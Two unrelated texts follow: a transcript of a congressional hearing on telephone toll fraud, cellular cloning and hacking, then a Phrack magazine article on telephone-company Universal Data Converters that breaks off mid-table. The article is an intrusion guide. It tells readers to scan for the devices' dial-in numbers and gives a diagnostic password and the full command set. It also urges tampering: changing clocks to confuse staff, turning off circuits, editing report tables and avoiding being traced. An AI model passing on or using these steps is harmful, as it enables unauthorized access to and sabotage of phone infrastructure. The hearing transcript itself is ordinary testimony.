Mr. MARKEY. I assume if you knew any, you would make sure we did something about them. But let's just assume there are bad people subscribing. What do we do about the bad hacker? Mr. GOLDSTEIN. Well, I just would like to clarify something. We have heard here in testimony that there are gang members and drug members who are using this technology. Now, are we going to define them as hackers because they are using the technology? Mr. MARKEY. Yes. Well, if you want to give them another name, fine. We will call them hackers and crackers, all right? Mr. GOLDSTEIN. I think we should call them criminals. Mr. MARKEY. So the crackers are bad hackers, all right? If you want another word for them, that is fine, but you have got the security of individuals decreasing with the sophistication of each one of these technologies, and the crackers are out there. What do we do with the crackers who buy your book?

Mr. GOLDSTEIN. I would not call them crackers. They are criminals. If they are out there doing something for their own benefit, selling information ‑‑

Mr. MARKEY. Criminal hackers. What do we do with them? Mr. GOLDSTEIN. There are existing laws. Stealing is still stealing.

Mr. MARKEY. OK. Fine.

Dr. Tippett.

Mr. TIPPETT. I think that the information age has brought on an interesting dilemma that I alluded to earlier. The dilemma is that the people who use computers don't have parents who used computers, and therefore they didn't get the sandbox training on proper etiquette. They didn't learn you are not supposed to spit in other people's faces or contaminate the water that we drink, and we have a whole generation now of 100 million in the United States computer users, many of whom can think this through themselves, but, as we know, there is a range of people in any group, and we need to point out the obvious to some people. It may be the bottom 10 percent.

Mr. MARKEY. What the problem is, of course, is that the computer hacker of today doesn't have a computer hacker parent, so parents aren't teaching their children how to use their computers because parents don't know how to use computers. So what do we do? Mr. TIPPETT. It is incumbent upon us to do the same kind of thing we did in the sixties to explain that littering wasn't right. It is incumbent upon us to take an educational stance and for Congress to credit organizations, maybe through a tax credit or through tax deductions, for taking those educational opportunities and educating the world of people who didn't have sandbox training what is good and what is bad about computing.

So at least the educational part needs to get started, because I, for one, think that probably 90 percent of the kids ‑‑ most of the kids who do most of the damage that we have all described up here, in fact, don't really believe they are doing any damage and don't have the concept of the broadness of the problem that they are doing. The 10 percent of people who are criminal we could go after potentially from the criminal aspect, but the rest we need to get after from a plain, straight ahead educational aspect. Mr. MARKEY. I appreciate that.

I will just say in conclusion ‑‑ and this is for your benefit, Mr. Goldstein. When you pass laws, you don't pass laws for the good people. What we assume is that there are a certain percent of people ‑‑ 5 percent, 10 percent; you pick it ‑‑ who really don't have a good relationship with society as a whole, and every law that we pass, for the most part, deals with those people. Now, as you can imagine, when we pass death penalty statutes, we are not aiming it at your mother and my mother. It is highly unlikely they are going to be committing a murder in this lifetime. But we do think there is a certain percentage that will. It is a pretty tough penalty to have, but we have to have some penalty that fits the crime.

Similarly here, we assume that there is a certain percentage of pathologically damaged people out there. The cerebral mechanism doesn't quite work in parallel with the rest of society. We have to pass laws to protect the rest of us against them. We will call them criminal hackers. What do we do to deal with them is the question that we are going to be confronted with in the course of our hearings?

Let me recognize the gentleman from Texas, Mr. Fields. Mr. FIELDS. Thank you, Mr. Chairman.

Just for my own edification, Mr. Goldstein, you appear to be intelligent; you have your magazine, so obviously you are entrepreneurial. For me personally, I would like to know, why don't you channel the curiosity that you talk about into something that is positive for society? And, I'm going to have to say to you, I don't think it is positive when you invade someone else's privacy. Mr. GOLDSTEIN. I agree.

Mr. FIELDS. Whether it is an individual or a corporation. Mr. GOLDSTEIN. Well, I would like to ask a question in return then. If I discover that a corporation is keeping a file on me and I access that corporation's computer and find out or tell someone else, whose privacy am I invading? Or is the corporation invading my privacy?

You see, corporations are notorious for not volunteering such information: "By the way, we are keeping files on most Americans and keeping track of their eating habits and their sexual habits and all kinds of other things." Occasionally, hackers stumble on to information like that, and you are much more likely to get the truth out of them because they don't have any interest to protect. Mr. FIELDS. Are you saying with this book that is what you are trying to promote? because when I look through this book, I find the same thing that the chairman finds, some things that could actually lead to criminal behavior, and when I see all of these codes regarding cellular telephones, how you penetrate and listen to someone's private conversation, I don't see where you are doing anything for the person, the person who is actually doing the hacking. I see that as an invasion of privacy.

Mr. GOLDSTEIN. All right. I need to explain something then. Those are not codes, those are frequencies. Those are frequencies that anybody can listen to, and by printing those frequencies we are demonstrating how easy it is for anybody to listen to them. Now if I say that by tuning to 871 megahertz you can listen to a cellular phone call, I don't think I am committing a crime, I think I am explaining to somebody. What I have done at previous conferences is hold up this scanner and press a button and show people how easy it is to listen, and those people, when they get into their cars later on in the day, they do not use their cellular telephones to make private calls of a personal nature because they have learned something, and that is what we are trying to do, we are trying to show people how easy it is.

Now, yes, that information can be used in a bad way, but to use that as an excuse not to give out the information at all is even worse, and I think it is much more likely that things may be fixed, the cellular industry may finally get its act together and start protecting phone calls. The phone companies might make red boxes harder to use or might make it easier for people to afford phone calls, but we will never know if we don't make it public. Mr. FIELDS. I want to be honest with you, Mr. Goldstein. I think it is frightening that someone like you thinks there is a protected right in invading someone else's privacy.

Mr. Guidry, let me turn to you. How does a hacker get the codes that you were talking about a moment ago ‑‑ if I understood what you were saying correctly, the manual ID number, the other cellular numbers that allow them to clone?

Mr. GUIDRY. Well, unfortunately, "2600" would be a real good bet to get those, and we have arrested people and found those manuals in their possession.

The other way is quite simply just to what we call dumpster dive, and that is to go to cellular carriers where they may destroy trash. Unfortunately, some of it is shredded and put back together, some of it is not shredded, and kids, criminals, go into those dumpsters, withdraw that information, piece it together, and then experiment with it. That information then is usually sold for criminal activity to avoid prosecution.

Mr. FIELDS. You are asking the subcommittee to include wireless and cellular, and I think that is a good recommendation. I think certainly that is one that we are going to take as good counsel. But it appears that much of what you are talking about is organized activity, and my question is, does the current punishment scheme actually fit the crime, or should we also look at increasing punishment for this type of crime?

Mr. GUIDRY. I would strongly suggest that we increase the punishment for this sort of crime. It is unfortunate that some hackers take that information and sell it for criminal activity, and, as a result, if prosecution is not stiff enough, then it far outweighs the crime.

Mr. FIELDS. What is the punishment now for this type of cellular fraud?

Mr. GUIDRY. Right now, it can be as high as $100,000 and up to 20 years in the penitentiary.

Mr. FIELDS. Mr. Delaney, do you feel that that is adequate? Mr. DELANEY. Under New York State law, which is what I deal with, as opposed to the Federal law, we can charge a host of felonies with regard to one illicit telephone call if you want to be creative with the law. Sections 1029 and 1039 really cover just about everything other than the cellular concern and the wireless concern.

However, I think the thing that is not dealt with is the person who is running the call sell operations. The call selling operations are the biggest loss of revenue to the telephone companies, cellular companies. Whether they are using PBX's or call diverters or cellular phones, this is where all the fraud is coming from, and there is only a handful of people who are originating this crime.

We have targeted these people in New York City right now, and the same thing is being done in Los Angeles and Florida, to determine who these people are that use just the telephone to hack out the codes on PBX's, use ESN readers made by the Curtis Company to steal the ESN and MIN's out of the air and then to disseminate this to the street phones and to the cellular phones that are in cars and deprive the cellular industry of about $300 million a year, and the rest of the telecommunications networks in the United States probably of about $1 billion a year, due to the call sell operations.

In one particular case that we watched, as a code was hacked out on a PBX in a company in Massachusetts, the code was disseminated to 250 street phones within the period of a week. By the end of the month, a rather small bill of $40,000 was sent to the company, small only because they were limited by the number of telephone lines going through that company. Had it been a larger company whose code had been cracked by the finger hacker, the bill would have been in the hundreds of thousands of dollars, or over $1 million as typically some of the bills have been.

But this is a relatively small group of people creating a tremendous problem in the United States, and a law specifically dealing with a person who is operating as an entrepreneur, running a call selling operation, I think would go far to ending one of the biggest problems we have.

Mr. FIELDS. Let me ask so I understand, Mr. Delaney and Mr. Guidry, because I am a little confused, or maybe I just didn't understand the testimony, are these individual hackers acting separately, or are these people operating within a network, within an organization?

Mr. DELANEY. These finger hackers are the people that control the network of people that operate telephone booths and cellular phones for reselling telephone service. These finger hackers are not computer hackers.

Mr. FIELDS. When you say finger hackers, is this one person operating independently, or is that finger hacker operating in concert ‑‑

Mr. GUIDRY. No. He has franchised. He has franchised out. He actually sells the computer and the software and the cattail to do this to other people, and then they start their own little group. Now it is going internationally.

Mr. FIELDS. Explain to me, if the chairman would permit ‑Mr. MARKEY. Please.

Mr. FIELDS. Explain to me the franchise.

Mr. GUIDRY. What happens is, let's pretend we are in Los Angeles right now and I have the ability to clone a phone that is using a computer, a cattail, we call it, that goes from the computer, the back of the computer, into the telephone, and I have the diskette that tells me how to change that program. I can at some point sell the cloning. You can come to me, and I can clone your phone.

However, that is one way for me to make money. The best way for me to make money is to buy computers, additional diskettes, and go to Radio Shack or some place and make additional cattails and say, "I can either clone your phone for $1,500, or what you can do for $5,000 is start your own company." So you say, "Well, wow, that's pretty good, because how many times would I have to sell one phone at from $500 to $1,500 to get my initial investment back?" As a result now, you have groups, you have just youngsters as well as organized crime stepping in.

The Guidry Group has worked in the Philippines on this, we have worked in Mexico, the Dominican Republic, Chile, Argentina, and next week I will be in London and in Rome. It is so bad, sir, that now intelligence agencies in Rome have told me ‑‑ and that is what I am going there for ‑‑ that organized crime seems to think that telecommunications fraud is more lucrative, unfortunately, than drugs, and it is darned sure more lucrative in the Los Angeles, probably New York, and Miami areas, because right now prosecution is not that strong. It is unfortunate that all of law enforcement is not trained, nor could they be, to pick up on someone standing on a corner using an illegitimate phone. Mr. FIELDS. How would a person know where to get their telephone cloned?

Mr. GUIDRY. Let me tell you what happens. Normally when we go into a major metropolitan city, or we also check the computer bulletin boards, a lot of times that information is there. Most of the time, though, it is in magazines, like green sheets, which are free advertisements saying, "Call anywhere in the world. Come to ‑‑" a location, or, "Call this number." Also in Los Angeles, for some reason, they seem to advertise a lot in sex magazines, and people will simply buy a sex magazine and there will be a statement in there, "Earn money the fast way. Start your own telecommunications company." And then we will follow up on that tip and work with the Secret Service to try to apprehend those people.

Mr. FIELDS. Mr. Haugh.

Mr. HAUGH. If I could just add a few comments, it would be most unfortunate if this denigrates into a discussion of adolescents who are curious and so‑called finger hackers. The truth of the matter is that the toll fraudsters are adults, they are organized, they are smart, they are savvy, and the drug dealers in particular are learning very quickly that it is far more lucrative, far less dangerous, to go into the telecom crime business. "Finger hacking" is a term, but the truth is, war dialers, speed dialers, modems, automated equipment now will hack and crack into systems and break the codes overnight. While the criminal sleeps, his equipment penetrates those systems. He gets up in the morning, and he has got a print sheet of new numbers that his equipment penetrated overnight.

We have interviewed the criminals involved. These so‑called idle curiosity adolescents are being paid up to $10,000 a month for new codes. I don't call that curiosity, I call that venality. We are talking a $4 billion problem.

The chairman came up with the Maple Street example. I think even better yet, Mr. Chairman, the truth is that 216 Maple had a security device on the door and a code, and what Mr. Goldstein and his ilk do is sell that code through selling subscriptions to these periodicals. There is a big difference, in my opinion, between saying, "216 Maple is open" ‑‑ that is bad enough ‑‑ than to say, "You go to 216 Maple, and push 4156, and you can get in the door." But we are talking about crime, we are talking about adults, we are talking about organized crime, perhaps not in the Cosa Nostra sense, but even the Cosa Nostra is wising up that they can finance some of these operations, and in New York and Los Angeles, in particular, the true Mafia is now beginning to finance some of these telecom fraud operations.

Mr. FIELDS. Mr. Guidry, one last question. Is it the Secret Service that is at the forefront of Federal activity?

Mr. GUIDRY. Yes, sir, it is.

Mr. FIELDS. Do they have the resources to adequately deal with this problem?

Mr. GUIDRY. No, sir. The problem is growing so rapidly that they are undermanned in this area but have asked for additional manpower.

Mr. FIELDS. Is this a priority for the Secret Service? Mr. GUIDRY. Yes, sir, it is.

Mr. FIELDS. Thank you, Mr Chairman.

Mr. MARKEY. The gentleman's time has expired.

Again, it is a $4 to $5 billion problem.

Mr. HAUGH. That is what our research indicated.

Mr. MARKEY. There were 35,000 victims last year alone. Mr. HAUGH. Yes, sir, and this is only users, large users. Now it can be businesses, nonprofits. There is a university on the East Coast that just this last week got hit for $490,000, and the fraud is continuing.

Mr. MARKEY. The gentleman from Ohio.

Mr. OXLEY. Thank you, Mr. Chairman.

Let me ask the witnesses: Other than making the penalties tougher for this type of activity, what other recommendations, if any, would any of you have that we could deal with, that our subcommittee should look at, and the Judiciary Committee, I assume, for what we might want to try to accomplish?

Mr. Haugh?

Mr. HAUGH. I happen to disagree with a couple of the witnesses who have indicated tougher penalties. I mean it sounds great. You know, that is the common instant reaction to anything, expand the penalties. I happen to think 20 years is plenty enough for criminal penetration of a telecom system, and there are a few housekeeping things that could be done.

The problem isn't the adequacy of the law, the laws are pretty adequate, and, as Mr. Delaney indicated, you have a violation someplace, you have got a State law and a Federal law, both, and if you are a smart prosecutor, there are about eight different ways you can go after these criminals.

The truth is, we have got inadequate enforcement, inadequate funding, inadequate pressure on the part of the Congress on the FCC to make more proactive efforts and to put more heat on the industry to coordinate.

The truth is that the carriers compete with each other fiercely. They, with some limited exceptions, don't share appropriate information with each other. The LEC's and the RBOC's hide behind privacy; they hide behind other excuses not to cooperate with law enforcement and with the rest of the industry as effectively as they should.

So I think putting the heat on the industry, putting the heat on the FCC, more adequately funding the FCC, more adequately funding the Secret Service, and having hearings like this that focus on the problem is the answer and not expanding the penalty from 20 years to 25 years. Nobody gets 20 years anyway, so expanding the 20 years is, to me, not the answer.

Mr. OXLEY. What is the average sentence for something like that?

Mr. HAUGH. I think the average toll fraud criminal who actually goes to jail ‑‑ and they are few and far between ‑‑ spends 3 to 6 months, and they are out.

Now recidivism levels are low, I agree with Mr. Delaney. Once you catch them, they rarely go back to it. So it isn't a question of putting them in jail forever, it is a question of putting them in jail. The certainty of punishment level is very low.

We talked to a drug dealer in New York City who left the drug business to go into toll fraud because he told me he can make $900,000 a year ‑‑ nontaxable income, he called it ‑‑ and never ever worry about going to jail.

Mr. DELANEY. In New York City, I have never seen anybody go to jail on a first offense for anything short of armed robbery, let alone telephone fraud. They typically get 200 hours of community service, depending upon the judge.

These people that I am speaking about are not the computer hackers that we were speaking about earlier, these are the people that are the finger hackers that break into the PBX's around the country. These are immigrants in the United States, they are adults, they know how to operate a telephone. They sit there generally ‑‑ almost every one that we have arrested so far uses a Panasonic memory telephone, and they sit there night and day try ing to hack out the PBX codes. They go through all the default codes of the major manufacturers of PBX's. They know that much. We don't have a single person in New York City, that I know of, that is hacking PBX's with a computer. The long distance carriers can see patterns of hacking into 800 lines, which are typically the PBX's, and they can see that it is being done by telephone, by finger hacking a telephone key pad, as opposed to a computer.

The war dialing programs that Mr. Haugh referred to are typically used by the computer hackers to get these codes, but they create only a minuscule amount of the fraud that is ongoing in the country. The great majority is generated by the finger hackers who then disseminate those codes to the telephone booths and the call selling operations that operate out of apartments in New York City. In one apartment with five telephones in it that operates 16 hours a day for 365 days a year selling telephone service at $10 for 20 minutes, you take in $985,000. It is a very profitable business. One of the individuals we arrested that said he did this because it was more profitable and less likely that he be caught than in selling drugs was murdered several months after we arrested him in the Colombian section of Queens because he was operating as an independent. It is a very controlled situation in New York City, and different ethnicities throughout New York City control the call sell operations in their neighborhoods, and everyone in those neighborhoods knows where they can go to make an illicit phone call or to get a phone cloned, whether it is a reprogrammed phone or rechipped.

Mr. OXLEY. Mr. Guidry, did you have a comment?

Mr. GUIDRY. Well, I think that we really do need to enforce the laws and we need to make some statutory changes in title 18, section 1029 to include cellular and wireless.

I have been in courtrooms where really savvy defense attorneys say, "Well, it does not specifically indicate cellular or wireless," and that raises some question in the jury's mind, and I would just as soon that question not be there.

Mr. OXLEY. Thank you.

Mr. Chairman, I see we have got a vote, and I yield back the balance of my time.

Mr. MARKEY. Thank you.

We are going to have each one of you make a very brief summary statement to the committee if you could, and then we are going to adjourn the hearing.

As you know, the Federal Communications Commission will be testifying before this subcommittee next week. We have a great concern that, although they held an all‑day hearing on toll fraud last October, while we thought they were going to move ahead in an expeditious fashion, that, with a lot of good information, it has all sat on the shelf since that time. We expected them to act on that information to establish new rules protecting consumers and pushing carriers to do a lot more than they have done thus far to protect their networks. In light of recent court decisions holding that consumers are always liable I think that action by the FCC is long overdue, and at the FCC authorization hearing next week I expect to explore this issue with the commissioners in depth, so you can be sure of that, Mr. Haugh.

Let's give each of you a 1‑minute summation. Again, we will go in reverse order and begin with you, Mr. Guidry.

Mr. GUIDRY. Thank you, sir.

Telecommunications fraud, of course, is going internationally, and as it goes internationally and starts to franchise and get more organized, we are going to have to figure out a better way to combat it. Industry itself right now is putting its best foot forward. However, I would ask this committee to strongly look at changing some of this legislation and to also increase law enforcement's efforts through manpower.

Thank you very much, sir.

Mr. MARKEY. Thank you.

Mr. Haugh.

Mr. HAUGH. I agree with Mr. Guidry that there are some housekeeping changes that need to be made, and the particular title and section he referred to should definitely be amended to include more clearly wireless.

The overall problem is an immense one; it is a very serious one; it is a complicated one. Everybody is at fault. Finger pointing has been carried to an extreme. Again, I think the long distance carriers, the big three ‑‑ AT&T, MCI, and Sprint ‑‑ have done a superb job of coming up to speed with monitoring. They are starting to cooperate better. They have really come to the table. The laggards are the LEC's and the RBOC's, the CPE manufacturers, and the FCC. In fairness to the FCC, they are understaffed, undermanned, underfunded. They can't even take care of all their mandated responsibilities right now, let alone take on new chores.

All that said, there is a great deal the FCC can do ‑jawboning, regulations, pushing the LEC's and the RBOC's, in particular, to get real, get serious ‑‑ and I would urge this committee ‑‑ applaud your efforts and urge you to continue that. Mr. MARKEY. Thank you.

Dr. Tippett.

Mr. TIPPETT. Thank you.

The computer virus issue is a little bit different than the toll fraud issue. In fact, there are no significant laws that deal with viruses, and, in fact, the fact that there are no laws gives the people who write viruses license to write them. The typical statement you read is, "It's not illegal, and I don't do anything that is illegal." So in the computer virus arena we do need laws. They don't need to be fancy; they don't need to be extensive. There are some suggestions of approaches to virus legislation in my written testimony.

We also need education, and I would encourage Congress to underwrite some education efforts that the private sector could perform in various ways, perhaps through tax incentives or tax credits. The problem is growing and large. It exceeds $1 billion already in the United States, and it is going to be a $2 billion problem in 1994.

As bad as toll fraud seems, this virus issue is, oddly, more pervasive and less interesting to a whole lot of people, and I think it needs some higher attention.

Mr. MARKEY. Thank you.

Mr. Goldstein.

Mr. GOLDSTEIN. Thank you.

I would like to close by cautioning the subcommittee and all of us not to mix up these two very distinct worlds we are talking about, the world of the criminal and the world of the experimenter, the person that is seeking to learn. To do so will be to create a society where people are afraid to experiment and try variations on a theme because they might be committing some kind of a crime, and at the same time further legislation could have the effect of not really doing much for drug dealers and gangsters, who are doing far more serious crimes than making free phone calls, and it is not likely to intimidate them very much.

I think the answer is for all of us to understand specifically what the weaknesses in the technology are and to figure out ways to keep it as strong and fortress‑like as possible. I do think it is possible with as much research as we can put into it. Thank you.

Mr. MARKEY. Thank you, Mr. Goldstein.

Mr. Delaney.

Mr. DELANEY. Last year, the Secret Service and the FBI arrested people in New York City for conducting illegal wiretaps. The ability to still do that by a hacker exists in the United States. Concerned with privacy, I am very happy to see that something like the Clipper chip is going to become available to protect society. I do hope, though, that we will always have for the necessary law enforcement investigation the ability to conduct those wiretaps. Without it, I see chaos.

But with respect to the cellular losses, the industry is coming along a very rapid rate with technology to save them money in the future, because with encryption nobody will be able to steal their signals either.

Mr. MARKEY. Thank you, Mr. Delaney.

I apologize. There is a roll call on the Floor, and I only have 3 minutes to get over there to make it. You have all been very helpful to us here today. It is a very tough balancing act, but we are going to be moving aggressively in this area. And we are going to need all of you to stay close to us so that we pass legislation that makes sense.

This hearing is adjourned. Thank you.

[Whereupon, at 12:16 p.m., the subcommittee was adjourned.]

The Universal Data Converter

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 21 of 28

****************************************

The Universal Data Converter

~~~~~~~~~~~~~~~~

Written by: Maldoror ~~~ChUrcH oF ThE nOnConFOrMisT~~~

~~~~~~~~~~~~~~~~~

‑=[ DELAMO LABS INC ]=‑

"""""""""""""""""

What IS a UDC?!

"""""""""""""""

The Universal Data converter (UDC), by Applied Computing Devices, was put into widespread use in 1979. A UDC is used primarily in connection with a variety of switches, to log everything the switch does, and report it to the Central Office in a standard format, allowing the monitoring and reporting of a variety of different switches by one processor without the need of understanding each individual switch. This lets the Telco‑Trouble shooters monitor exactly how much traffic is passing thru a given switch. Exact number of calls, busys & fraud attempts, are some examples. A UDC will give detailed reports of such activity, as well as hold it in a buffer file which you can view for your own excitement. The real purpose of this piece of hardware is to buffer data, convert it to a standard format, and send it on it's merry way to the Central Processor. Information may be buffered for up to an hour, before being able to be received by the Central Processor.

Which Switches use a UDC?

"""""""""""""""""""""""""

Well, apparently, nearly all switches owned by a tel‑co use a UDC for their daily reports. Here is a list of the switches of which I know may be connected to a converter:

At&t Autoplex 100

ITT/North 1210

ITT/North NX‑1E

ITT/North "1200" Series (DSS‑1)

GTE GTD‑1 (Automatic Electric no. 1 EAX)

GTE GTD‑2 (Automatic Electric no. 2 EAX)

GTE GTD‑3 (Automatic Electric no. 3 EAX)

GTE GTD‑5

Motorola EMX‑250

NEC NEAX‑61

NEC ND‑20S

Northern Telecom DMS‑10

Northern Telecom DMS‑100

Northern Telecom DMS‑200

Northern Telecom DMS‑250

Northern Telecom DMS‑300

Northern Telecom SL‑1 (Seen these around locally) Northern Telecom SP‑1 PABX

Stromberg Carlson DCO

TRW Vidar ITS‑4

TRW Vidar ITS‑4/5

TRW Vidar ITS‑5

Western Electric 5 ESS

GTE PBX's (GTD‑1000, GTD‑4600)

General Configurations:

"""""""""""""""""""""""

A UDC may be configured in several ways. A UDC consists of up to 6 ports. Port 0 is usually a dialin line, in which it is connected to a 300/1200 baud modem, so that GTE employees may call to check their switch information in the field.

Port 0 may also be a dedicated line, which is linked to a computer somewhere important, but if this is the case, you can't have found it anyways, so don't worry about it. (Unless of course you another indial port possibly 1)

Port 2 is usually the line which is hardwired to the data output of the switch. This port receives the messages of a switch, analyses the data, buffers it, and waits until it is told to send the data to the CP, which may be every time the buffer flips, which of course is configured by hardware. It is not required that port 2 be the hardwire, although it is just the most common configuration.

Port 1 & 3‑7 are also multi‑use ports , which may be configured either for a dedicated line, or a standard phone line, just like port 1. The difference between this port and port 0 however, is that this port may also be used to test lines other than the hardware set report line #. (More later.)

NOTE: ANY of these ports can be completely different depending on the setup of the UDC's cards, and which slot they are in...

The UDC can be configured (though I have never seen it this way) so that any of the six ports can preform the functions instead of the first three. If you find a UDC, be sure to check all the ports, and not just three.

The general idea of this box of tin is that it will monitor any switch, collect data into a buffer, and store it until it need be converted and polled by the SAC. When the data is sent out, it is sent in standard UDC format, regardless of the type of switch, therefore any switch may be monitored by the SAC without having to be converted on the spot.

Yeah Great what the ?#!$ do I do?

""""""""""""""""""""""""""""""""'

Scan your local area for all numbers ending in 99xx or 00xx, often (with GTE anyways) the prefix may be something like 446‑9988, or something outright obvious. Once you find one, you will know, because you will get one of two things. Depending on the configuration of the UDC, you will either begin getting a dump of data, which will go into detail about the switch information, or you will get a prompt:

*B*>

When you receive this prompt, you can make your life easy by typing HELP in all caps, for a menu of commands, which will seem important at first (don't fool yourself).

Each letter between *'s represents a separate processor (yes even this tin box has more than one! These letters will be in the menu

when you type HELP. To change processors, you will need to hold control while pressing the letter of the processor you wish to change to.

Here is a list of commands for each processor:

The Basic processor

~~~~~~~~~~~~~~~~

*B*> DATE Display the system Date

*B*> DATE mm/dd/yy Set the date to mm/dd/yy

*B*> DIAGNOSTIC This puts you in debug mode for the UDC's program When typing this command the UDC will respond with "PASSWORD" and will not echo letters. If the password given is correct, you will get a prompt like this: *B*> DIAG PASSWORD 305 > I enter the good password< DEBUG 1,3 > 1,3 are the ports in use < ?

At this point you can reboot the UDC by typing: ? G

(ADDR)=1000 > I tell it to jmp to 1000 < Then all hell will break loose...trust me! O.k. well it will look like it anyway...

*B*> HELP Duh um, a Menu

*B*> RAMPAGE Test traffic data storage area

*B*> SYSTEM Display system checksums

*B*> TIME Display system time

*B*> TIME hh:mm:ss Set system time (confuse them, set it back then forwd)

The Patch Processor

~~~~~~~~~~~~~~~~

*P*> ANSWER n Take channel 'n' off hook (neato)

*P*> BAUD c,bbbb,nnn Set Channel 'c' Baud rate to 'bbbb', and number of nulls to 'nnn'

*P*> HANGUP n Put channel 'n' on hook (log out too)

*P*> HELP Help Menus

*P*> PATCH n Patch calling port to port 'n' (Dial out!) It IS possible to patch to modem ports, but I don't recommend it...all GTE numbers have their own COS. (Easy to find you)

The Plant Queue Processor

~~~~~~~~~~~~~~~~

*Q*> ALARM Display the alarm (error message) string

*Q*> ALARM xx..xxx Set Alarm String (change it back if u want)

*Q*> CLEAR Clear buffer without printing contents (not preferred)

*Q*> DUMP Print and clear contents (destructive, not preferred)

*Q*> HELP Help Menu

*Q*> LIMITS Display buffer alarm threshold

*Q*> LIMITS nnnnn Set buffer alarm threshold to 'nnnn'

*Q*> LIST Display buffer contents (Better than dump)(ok!)

*Q*> LIST nnnn Display buffer contents from 'nnnn' to end

The Report Processor

~~~~~~~~~~~~~~~~

*R*> BACKUP Transfer a copy of the ROM based table to the editor workspace

*R*> DEFAULT Make the ROM based table effective (can crash)

*R*> EDIT Engage in edit mode

APPEND Add line to RMT (Hi there Gen‑Tel!) DELETE Delete line from RMT

END End edit session

HELP List Editor Commands

LIST List RMT

MODIFY Modify a line in RMT

*R*> DOWNLOAD Download RMT to PROM programmer (ha!)

*R*> HELP More menus

*R*> LIST List effective RMT

*R*> LIST N List RMT without Heading

*R*> LIST nnnn List line 'nnnn' of effective RMT

*R*> LIST nnnnN List line 'nnnn' of effective RMT without heading

*R*> LIST nnnn,mmmm List lines 'nnnn' to 'mmmm' of RMT

*R*> LIST nnnn,mmmmN List lines 'nnnn' to 'mmmm' of RMT without heaading

*R*> NEW Clear the editor workspace

*R*> USER Make RAM based RMT active

The Scanner Processor

~~~~~~~~~~~~~~~~

*S*> CIRCUIT Display Status Report

*S*> CIRCUIT nnn OFF Turn off circuit 'nnn' and print Status report

*S*> CIRCUIT nnn OFF N Turn off circuit 'nnn' without report

*S*> CIRCUIT nnn,mmm OFF Turn off circuts 'nnn' to 'mmm'

*S*> CIRCUIT nnn,mmm OFF N Turn off 'nnn' to 'mmm' without report

*S*> CIRCUIT nnn ON Turn 'nnn' ON and print report

*S*> CIRCUIT nnn ON N Turn 'nnn' ON without report

*S*> CIRCUIT nnn,mmm ON Turn circuts 'nnn' to 'mmm' on and print status report

*S*> CIRCUIT nnn,mmm,ON N Turn on 'nnn' to 'mmm' but do not print report

*S*> REPORT Display names of disable reports

*S*> REPORT report.type OFF Disable 'report.type' for printing

*S*> REPORT report.type ON Enable 'report.type' for printing

*S*> RESTART Restart scanner interrogation

*S*> ROUTE n Display all future alarm reports on channel 'n'

*S*> STOP Stop scanner interrogation

*S*> TEST Dial the alarm number set on the system optioning board (dip switches on the config board) for communication line testing.

*S*> TEST 3,1 nnn nnn nnnn Dial the indicated number (on port 3) and test

the communication lines.

If you test with the port you called in on,

you will have to hangup and call back for the

results. (Port 0)

The Traffic Processor

~~~~~~~~~~~~~~~~

*T*> ACTIVE Display the contents of the active buffer

*T*> BANK Display bank to be polled

*T*> BANK n Set Bank to be polled (bank 'n')

*T*> FLIP Flip the buffers (this MAY cause polling, depending on the hardware (switch) & port configuration) *T*> HELP Processor Menus

*T*> METERS Display current meter limits

*T*> METERS nnnn Set upper meter limits

*T*> METERS mmmm,nnnn Set lower and upper meter limits

*T*> METERS mmmm,nnnn V Set variable meter limits

*T*> METERS mmmm,nnnn F Set fixed meter limits

*T*> PASSIVE Display the contents of a Passive buffer

*T*> TRAFFIC Interrupt or resume traffic after user interaction with channel 1

Standard Control Codes

~~~~~~~~~~~~~~~~~~~~~

^A Start of Heading

^B Start of Text

^C End of Text

^D End of transmission

^E Enquiry (no not like CBI)

^F Acknowledgment

^G Bell :)

^H Backspace

^I Horizontal Tab

^J Line feed

^K Vertical Tab

^L Form Feed

^M Carriage return

^N Shift out

^O Shift in

^P Data line escape

^Q Device Control 1

^R Device Control 2

^S Device Control 3

^T Device Control 4

^U Negative Acknowledgment

^V Synchronous Idle

^W End of Transmission Block

^X Cancel

^Y End of Medium

^Z Substitute

What is all this?

~~~~~~~~~~~~~~~~

The RMT data is the data transmitted to the UDC by the switch. This data is formatted in such a way that it tells the UDC what is happening and what has already happened since the last buffer flip. This data is then converted to a standard format to be transferred to the Central Processor. For examples of switch output, refer to the switch example list further in this article.

Here is an example of the System Output data, after being translated into standard format by the UDC:

The first two lines of the System Output data will contain the values of the 19 status registers as follows:

0 1 2 3 4 5 6 7 8 9

000 00345 00003 00013 00000 00005 00000 00005 01903 00012 00000 001 06800 01021 01101 01065 00000 00003 00007 02435 00000 00000

10 11 12 13 14 15 16 17 18 19

The registers are as follows:

0 UDC control program number (usually 345, newer versions may be diff.) 1 UDC control program version (1,3,5,etc.)

2 Hour at buffer flip (active to passive)

3 Minute at buffer flip (active to passive)

4 Number of buffer flips since power on (65535 maximum)

5 Power interrupt flag (99 if fewer than two intervals have occurred since the power interrupt or hard restart; 0 otherwise)

6 Number of reports in the buffer

7 Total number of meters in this buffer (including headers) 8 Hour at buffer flip (passive to active)

9 Minute at buffer flip (passive to active)

10‑13 Strapping Card signature

14 Total number of errors since last had reset or power up

15 Number of soft restarts since last power‑up or hard restart 16 Number of buffer flips since last soft restart

17 Address of last error which caused a soft restart

18‑19 unused

When a traffic report is to be sent, the following header will be sent (in the System Output) to the UDC processor(s) to tell the traffic processor to begin buffering the report:

0 1 2 3 4 5 6 7 8 9

190 65535 00008 00022 00000 00000 00000 00000 00000 00000 00000 191 00004 00027 00078 00700 00800 31227 00074 00000 00002 00018 192 00078 00000 00000 00000 00000 00000 00000 00000 00000 00000

10 11 12 13 14 15 16 17 18 19

The registers for the header are as follows:

0 65535 (This signals the beginning of the switch report)

1 Message type obtained from the 'type' field of the RMT

2 The number of registers used by the message, including the 10 registers of this header.

3‑9 unused (00000)

Ok ?! Now what?!

~~~~~~~~~~~~~~~~~

Well now that I have explained all the commands, the data formats, etc, of the UDC, you can now check the RMT or TRAFFIC buffers to see exactly what type of switch you are monitoring. Here are some examples of the Data format for the following switches:

****************************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ AT&T AUTOPLEX 100 SWITCH ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

****************************************

Example of RMT data:

~~~~~~~~~~~~~~~~~~~

ENTRY REQUIRED STRING NEW ACTION TYPE STARTING ENDING PHASE PHASE REGISTER REGISTER

